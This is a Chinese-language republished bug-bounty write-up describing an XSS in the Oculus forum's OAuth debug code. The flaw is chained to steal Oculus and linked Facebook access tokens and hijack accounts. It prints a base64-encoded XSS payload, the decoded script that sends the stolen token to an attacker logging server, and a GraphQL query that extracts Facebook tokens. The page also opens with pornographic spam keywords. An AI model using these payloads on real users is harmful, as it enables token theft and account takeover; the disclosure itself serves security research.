亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么利用Oculus網站XSS漏洞實現對Facebook和Oculus用戶的賬戶劫持

發布時間:2021-12-18 15:28:31 來源:億速云 閱讀:164 作者:柒染 欄目:安全技術

今天就跟大家聊聊有關怎么利用Oculus網站XSS漏洞實現對Facebook和Oculus用戶的賬戶劫持,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

漏洞細節

漏洞原因主要在于,Oculus論壇forums.oculusvr.com采用了oculus.com的認證機制,該認證機制使用了路徑https://graph.oculus.com/authenticate_web_application/來驗證登錄用戶,之后會把用戶跳轉到https://forums.oculusvr.com/entry/oculus,跳轉后用戶攜帶了一個oculus訪問令牌(access_token),且利用該訪問令牌,可以有權限訪問graph.oculus.com/graphql,并實現GraphQL查詢。因此,基于該GraphQL查詢,惡意用戶可以利用該功能實現對其他用戶的賬戶劫持。

由于論壇forums.oculus.com基于開源網站應用Vanilla Forum搭建,本來不在Facebook漏洞獎勵項目內,但是,由于該漏洞存在Facebook論壇的身份驗證機制中,且攻擊者無需創建新的論壇賬戶就能實現漏洞利用,因此之后Facebook也把該漏洞認定為重要和有效。

從頁面https://forums.oculusvr.com/entry/oculus?中的源碼可以看到,其開啟了調試模式,并嵌入了以下JS腳本文件-https://forums.oculusvr.com/plugins/oculus/js/oculus-oauth.js,通過了解該JS文件,可知其中在state參數讀取時采用了document.write方法,如果把攻擊PAYLOAD賦值給state(#state=PAYLOAD),那會不會產生安全問題呢?

請注意,盡管document.location也被傳遞給了document.write,但這里我們可以用其URL中涉及的“state”參數來加載攻擊測試的有效負載Payload,因為document.location最后會將帶有效負載Payload的URL編碼格式,之后,在decodeURIComponent 方法解碼hash片段提取“response”時,“state”將會被解碼。

var oculusConnect = function(params) {
     if (typeof params === "undefined") {
         return;
     }
 if (typeof params.connect === "undefined") {
return;
 } 
var response = decodeURIComponent(document.location.hash);
var hash = response.substring(response.indexOf("#") + 1, response.indexOf("&")); 
var queryString = response.replace("#" + hash, ""); 
var queryStringSplit = queryString.split("&"); 
var state = getParam(queryStringSplit, "state"); 
var savedState = params.connect.savedState; 
var hashSplit = hash.split("="); 
var hashKey = hashSplit[0]; 
var hashValue = hashSplit[1]; 
var loginType = this.frameElement.id; 

if (params.connect.debug) {     
document.write("login type : " + loginType + 
";<br >document location:" + document.location + 
";<br >Saved State:" + savedState + 
";<br >State:" + state + 
";<br >Hash Key:" +  hashKey); 
}
...
#Passing parameters to oculusConnect function#
 document.addEventListener("DOMContentLoaded", function() {
        var params = {
            "connect":
                {
                    "debug" : "1" ,
                    "savedState": "G1H7LE7UOJ" ,
                    "authorizeUrl": "https://graph.oculus.com/authenticate_web_application" ,
                    "oculusHash": "X" ,
                    "associationKey": "OC|1238816349468370|" ,
                    "webAddress": "https://forums.oculusvr.com"
                }
        }
oculusConnect(params);

至此,代碼分析到這里,初步的感覺是可以從Payload中做手腳把它構造成一個XSS,但是,如果認真看其中的代碼可知,在document.write方法調用前還有代碼var loginType = this.frameElement.id;,所以這并不如我們所料,這里,如果按照我們之前的構造將會返回錯誤消息“TypeError: Cannot read property ‘id’ of null”,只有當前這個頁面是框架化且與其父頁面是同源才能正確調用通過。為此,需要把論壇網站forums.oculusvr.com中的頁面https://forums.oculusvr.com/entry/oculus#state=payload 進行框架化,然后把其框架化的URL鏈接發送給受害者,才能觸發漏洞。

開源網站應用Vanilla Forums中的嵌入利用

經分析發現,開源網站應用Vanilla Forums源碼中加載嵌入了一個白名單網站列表,如下:

public function unembedContent(string $content): string {
        if ($this->embedConfig->isYoutubuEnabled()) {
            $content = preg_replace(
                '`<iframe.*src="https?://.*youtubu\.com/embed/([a-z0-9_-]*)".*</iframe>`i',
                "\nhttps://www.youtubu.com/watch?v=$1\n",
                $content
            );
            $content = preg_replace(
                '`<object.*value="https?://.*youtubu\.com/v/([a-z0-9_-]*)[^"]*".*</object>`i',
                "\nhttps://www.youtubu.com/watch?v=$1\n",
                $content
            );

        }

        if ($this->embedConfig->isVimeoEnabled()) {
            $content = preg_replace(
                '`<iframe.*src="((https?)://.*vimeo\.com/video/([0-9]*))".*</iframe>`i',
                "\n$2://vimeo.com/$3\n",
                $content
            );
            $content = preg_replace(
                '`<object.*value="((https?)://.*vimeo\.com.*clip_id=([0-9]*)[^"]*)".*</object>`i',
                "\n$2://vimeo.com/$3\n",
                $content
            );
        }
        if ($this->embedConfig->isGettyEnabled()) {
            $content = preg_replace(
                '`<iframe.*src="(https?:)?//embed\.gettyimages\.com/embed/([\w=?&+-]*)" width="([\d]*)" height="([\d]*)".*</iframe>`i',
                "\nhttp://embed.gettyimages.com/$2/$3/$4\n",
                $content
            );
        }
        return $content;
    }
    private function getEmbedRegexes(): array {
        return [
            'YouTubu' => [
                'regex' => [
                    // Warning: Very long regex.
                    '/https?:\/\/(?:(?:www.)|(?:m.))?(?:(?:youtubu.com)|(?:youtu.be))\/(?:(?:playlist?)'
                    . '|(?:(?:watch\?v=)?(?P<videoId>[\w-]{11})))(?:\?|\&)?'
                    . '(?:list=(?P<listId>[\w-]*))?(?:t=(?:(?P<minutes>\d*)m)?(?P<seconds>\d*)s)?(?:#t=(?P<start>\d*))?/i'
                ],
            ],

            'Twitter' => [
                'regex' => ['/https?:\/\/(?:www\.)?twitter\.com\/(?:#!\/)?(?:[^\/]+)\/status(?:es)?\/([\d]+)/i'],
            ],
            'Vimeo' => [
                'regex' => ['/https?:\/\/(?:www\.)?vimeo\.com\/(?:channels\/[a-z0-9]+\/)?(\d+)/i'],
            ],
            'Vine' => [
                'regex' => ['/https?:\/\/(?:www\.)?vine\.co\/(?:v\/)?([\w]+)/i'],
            ],
            'Instagram' => [
                'regex' => ['/https?:\/\/(?:www\.)?instagr(?:\.am|am\.com)\/p\/([\w-]+)/i'],
            ],
            'Pinterest' => [
                'regex' => [
                    '/https?:\/\/(?:www\.)?pinterest\.com\/pin\/([\d]+)/i',
                    '/https?:\/\/(?:www\.)?pinterest\.ca\/pin\/([\d]+)/i',
                ],
            ],
            'Getty' => [
                'regex' => ['/https?:\/\/embed.gettyimages\.com\/([\w=?&;+-_]*)\/([\d]*)\/([\d]*)/i'],
            ],
            'Twitch' => [
                'regex' => ['/https?:\/\/(?:www\.)?twitch\.tv\/([\w]+)$/i'],
            ],
            'TwitchRecorded' => [
                'regex' => ['/https?:\/\/(?:www\.)?twitch\.tv\/videos\/(\w+)$/i'],
            ],
            'Soundcloud' => [
                'regex' => ['/https?:(?:www\.)?\/\/soundcloud\.com\/([\w=?&;+-_]*)\/([\w=?&;+-_]*)/i'],
            ],
            'Gifv' => [
                'regex' => ['/https?:\/\/i\.imgur\.com\/([a-z0-9]+)\.gifv/i'],
            ],
            'Wistia' => [
                'regex' => [
                    // Format1
                    '/https?:\/\/(?:[A-za-z0-9\-]+\.)?(?:wistia\.com|wi\.st)\/.*?'
                    . '\?wvideo=(?<videoID>([A-za-z0-9]+))(\?wtime=(?<time>((\d)+m)?((\d)+s)?))?/i',
                    // Format2

                    '/https?:\/\/([A-za-z0-9\-]+\.)?(wistia\.com|wi\.st)\/medias\/(?<videoID>[A-za-z0-9]+)'
                    . '(\?wtime=(?<time>((\d)+m)?((\d)+s)?))?/i',
                ],
            ],
        ];
    }
}

這其中的某個白名單網站存在一個漏洞,導致能讓我從Vanilla Forums嵌入頁面跳轉到https://forums.oculusvr.com/entry/oculus ,并實現最終的XSS Payload觸發。遺憾的是,由于該漏洞還未完全修復,因此抱歉在此我不能公開該漏洞。

漏洞利用

用Oculus賬戶登錄forums.oculus.com網站,到“New Discussion”區域點擊“Toggle Html View“,然后添加進Vanilla Forums中的漏洞利用Payload,這里原諒我做了隱藏處理。

<iframe src="https://REDACTED/REDACTED" />

之后,點擊“Preview” 和“Post Discussion”,將會創建一個包含REDACTED的框架化進程,REDACTED中的框架化頁面會觸發跳轉至最終的XSS漏洞利用URL路徑。成型的可以竊取受害者access_token的XSS Payload如下:

https://forums.oculusvr.com/entry/oculus/#access_token=test&state=<script>
eval(atob("dmFyIGlmcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpZnJ
tLnNldEF0dHJpYnV0ZSgnaWQnLCAndGVzdCcpO2lmcm0uc2V0QXR0cmlidXRlKCdzcmMnLCAna
HR0cHM6Ly9ncmFwaC5vY3VsdXMuY29tL2F1dGhlbnRpY2F0ZV93ZWJfYXBwbGljYXRpb24/YWN
jZXNzX3Rva2VuPU9DJTdDMTIzODgxNjM0OTQ2ODM3MCU3QyZyZWRpcmVjdF91cmk9aHR0cHMlM
0ElMkYlMkZmb3J1bXMub2N1bHVzdnIuY29tJTJGZW50cnklMkZvY3VsdXMmc3RhdGU9VjFIVzl
TMkxHWiZtZXRob2Q9cG9zdCcpO2lmcm0ub25sb2FkID0gZnVuY3Rpb24oKXthbGVydChkb2N1b
WVudC5nZXRFbGVtZW50QnlJZCgndGVzdCcpLmNvbnRlbnRXaW5kb3cubG9jYXRpb24uaHJlZil
9O2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZybSk7"));</script>

由于Vanilla Forums中的漏洞利用Payload包含了太多類似=, &的字符,可能會對oculusConnect方法中的state參數提取產生干擾,因此我把其進行了base64編碼,其原始形式為:

var ifrm = document.createElement('iframe');
ifrm.setAttribute('id', 'test');
ifrm.setAttribute('src', 'https://graph.oculus.com/authenticate_web_application?access_token=OC|1238816349468370|&redirect_uri=https://forums.oculusvr.com/entry/oculus&state=V1HW9S2LGZ&method=post');
ifrm.onload = function(){
       var token = document.getElementById('test').contentWindow.location.href;
       fetch("https://logging-server/log.php?x=" + token);
};
document.body.appendChild(ifrm);

此外,我還構造了另外的一個框架化頁面,它會對https://graph.oculus.com/authenticate_web_application發起請求,然后攜帶用戶有效access_token執行到https://forums.oculusvr.com/entry/oculus的跳轉,由于該頁面中的iframe和其父頁面均為同源,因此我們可以訪問其iframe界面并讀取其location.href屬性,最終可以把收集到的access_token信息發送到我們控制的服務器中。

對Oculus和Facebook用戶的賬戶劫持

從“Oculus Forums”頁面view-source:https://forums.oculusvr.com/entry/oculus源碼可知,其生成了一個應用id-1238816349468370,并具備對https://graph.oculus.com/graphql的GraphQL查詢訪問權限。但是,賬戶劫持需要涉及到密碼更改、contactpoints添加或知曉用戶PIN碼,而且,該Oculus Forums的Web頁面也無法具備對Facebook綁定用戶access_token的讀取。不過之后,我從安全研究者JOSIP FRANJKOVI?的博客里發現了一種解決此困惑的技巧方法:

https://graph.oculus.com/graphql?access_token=VICTIM_TOKEN&method=post
&q=viewer(){linked_accounts_info{facebook_account{access_token}}}

但這里竊取的access_token不能實現真正意義的劫持,只能實現受害者的用戶信息讀取,以及受害者應用和其所在組織機構的更改。

幸運的是,最終我發現了第三個勁爆漏洞,利用其可以把竊取的用戶令牌access_token升級成另一個應用身份( WWW 752908224809889 ),并能繞過應用身份限制,去讀取Facebook綁定用戶的access_token以實現Facebook用戶賬戶劫持,或用該Facebook綁定用戶的access_token訪問https://graph.oculus.com/fbauth去登錄關聯的Oculus賬戶。

看完上述內容,你們對怎么利用Oculus網站XSS漏洞實現對Facebook和Oculus用戶的賬戶劫持有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

SHOW| 桦川县| 曲松县| 卓尼县| 浮山县| 绍兴县| 绍兴市| 晋州市| 德惠市| 黄大仙区| 刚察县| 耒阳市| 依兰县| 抚宁县| 德保县| 庆元县| 扶风县| 京山县| 昌吉市| 商丘市| 陇西县| 嘉祥县| 桐柏县| 金川县| 通州区| 南平市| 太康县| 会东县| 宝兴县| 天气| 汽车| 浮山县| 焉耆| 沛县| 文水县| 芷江| 达孜县| 玉林市| 屏南县| 鸡西市| 平凉市|